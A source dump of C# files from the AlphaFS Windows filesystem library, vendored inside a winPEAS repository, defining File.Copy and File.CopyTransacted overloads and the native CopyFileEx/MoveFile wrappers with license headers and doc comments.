RetryTimeout = retryTimeout, CopyOptions = copyOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.CopyMoveLogic.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Checks if the flag is specified. internal static bool HasCopyAllowed(MoveOptions? moveOptions) { return Utils.IsNotNull(moveOptions) && (moveOptions & MoveOptions.CopyAllowed) != 0; } /// Checks if the flag is specified. internal static bool HasCopySymbolicLink(CopyOptions? copyOptions) { return Utils.IsNotNull(copyOptions) && (copyOptions & CopyOptions.CopySymbolicLink) != 0; } /// Checks if the flag is specified. internal static bool HasDelayUntilReboot(MoveOptions? moveOptions) { return Utils.IsNotNull(moveOptions) && (moveOptions & MoveOptions.DelayUntilReboot) != 0; } /// Checks if the flag is specified. internal static bool HasCopyTimestamps(CopyOptions? copyOptions) { return Utils.IsNotNull(copyOptions) && (copyOptions & CopyOptions.CopyTimestamp) != 0; } /// Checks if the flag is specified. internal static bool HasReplaceExisting(MoveOptions? moveOptions) { return Utils.IsNotNull(moveOptions) && (moveOptions & MoveOptions.ReplaceExisting) != 0; } /// Determine the Copy or Move action. /// internal static bool IsCopyAction(CopyMoveArguments cma) { // Determine Copy or Move action. var isMove = Utils.IsNotNull(cma.MoveOptions) && Equals(null, cma.CopyOptions); var isCopy = !isMove && Utils.IsNotNull(cma.CopyOptions); if (isCopy.Equals(isMove)) throw new NotSupportedException(Resources.Cannot_Determine_Copy_Or_Move); return isCopy; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.CopyMoveNative.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { // Symbolic Link Effects on File Systems Functions: https://msdn.microsoft.com/en-us/library/windows/desktop/aa365682(v=vs.85).aspx // MSDN: If lpProgressRoutine returns PROGRESS_CANCEL due to the user canceling the operation, // CopyFileEx will return zero and GetLastError will return ERROR_REQUEST_ABORTED. // In this case, the partially copied destination file is deleted. // // If lpProgressRoutine returns PROGRESS_STOP due to the user stopping the operation, // CopyFileEx will return zero and GetLastError will return ERROR_REQUEST_ABORTED. // In this case, the partially copied destination file is left intact. // Note: MoveFileXxx fails if one of the paths is a UNC path, even though both paths refer to the same volume. // For example, src = C:\TempSrc and dst = \\localhost\C$\TempDst // MoveFileXxx fails if it cannot access the registry. The function stores the locations of the files to be renamed at restart in the following registry value: // // HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations // // This registry value is of type REG_MULTI_SZ. Each rename operation stores one of the following NULL-terminated strings, depending on whether the rename is a delete or not: // // szDstFile\0\0 : indicates that the file szDstFile is to be deleted on reboot. // szSrcFile\0szDstFile\0 : indicates that szSrcFile is to be renamed szDstFile on reboot. [SecurityCritical] private static bool CopyMoveNative(CopyMoveArguments cma, bool isMove, string sourcePathLp, string destinationPathLp, out bool cancel, out int lastError) { cancel = false; var success = null == cma.Transaction || !NativeMethods.IsAtLeastWindowsVista // CopyFileEx() / CopyFileTransacted() / MoveFileWithProgress() / MoveFileTransacted() // 2013-04-15: MSDN confirms LongPath usage. ? isMove ? NativeMethods.MoveFileWithProgress(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, (MoveOptions) cma.MoveOptions) : NativeMethods.CopyFileEx(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, out cancel, (CopyOptions) cma.CopyOptions) : isMove ? NativeMethods.MoveFileTransacted(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, (MoveOptions) cma.MoveOptions, cma.Transaction.SafeHandle) : NativeMethods.CopyFileTransacted(sourcePathLp, destinationPathLp, cma.Routine, IntPtr.Zero, out cancel, (CopyOptions) cma.CopyOptions, cma.Transaction.SafeHandle); lastError = Marshal.GetLastWin32Error(); return success; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File CopyMove/File.CopyTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// true if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, false. [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// true if the destination file should ignoring the read-only and hidden attributes and overwrite; otherwise, false. /// Indicates the format of the path parameter(s). [Obsolete("To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. /// Indicates the format of the path parameter(s). [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// true if original Timestamps must be preserved; otherwise, false. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). /// /// /// /// /// /// /// [Obsolete("Use other overload and add CopyOptions.CopyTimestamp enum flag.")] [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } #endregion // Obsolete /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory or an existing file. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = CopyOptions.FailIfExists }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = CopyOptions.FailIfExists, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory or an existing file. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = CopyOptions.FailIfExists }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(true, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = CopyOptions.FailIfExists, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is not allowed. Possibility of notifying the application of its progress through a callback function. /// Returns a class with details of the Copy action. /// /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, int retry, int retryTimeout, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = CopyOptions.FailIfExists, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = copyOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = copyOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = copyOptions }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified. /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// The number of retries on failed copies. /// The wait time in seconds between retries. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, int retry, int retryTimeout, PathFormat pathFormat) { return CopyMoveCore(false, new CopyMoveArguments { Retry = retry, RetryTimeout = retryTimeout, Transaction = transaction, CopyOptions = copyOptions, PathFormat = pathFormat }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// /// /// /// /// /// /// /// The transaction. /// The file to copy. /// The name of the destination file. This cannot be a directory. /// that specify how the file is to be copied. This parameter can be null. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(false, new CopyMoveArguments { Transaction = transaction, CopyOptions = copyOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }, false, false, sourcePath, destinationPath, null); } /// [AlphaFS] Copies an existing file to a new file. Overwriting a file of the same name is allowed. can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Option is recommended for very large file transfers. /// The attributes of the original file are retained in the copied file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// Returns a class with details of the Copy action. /// 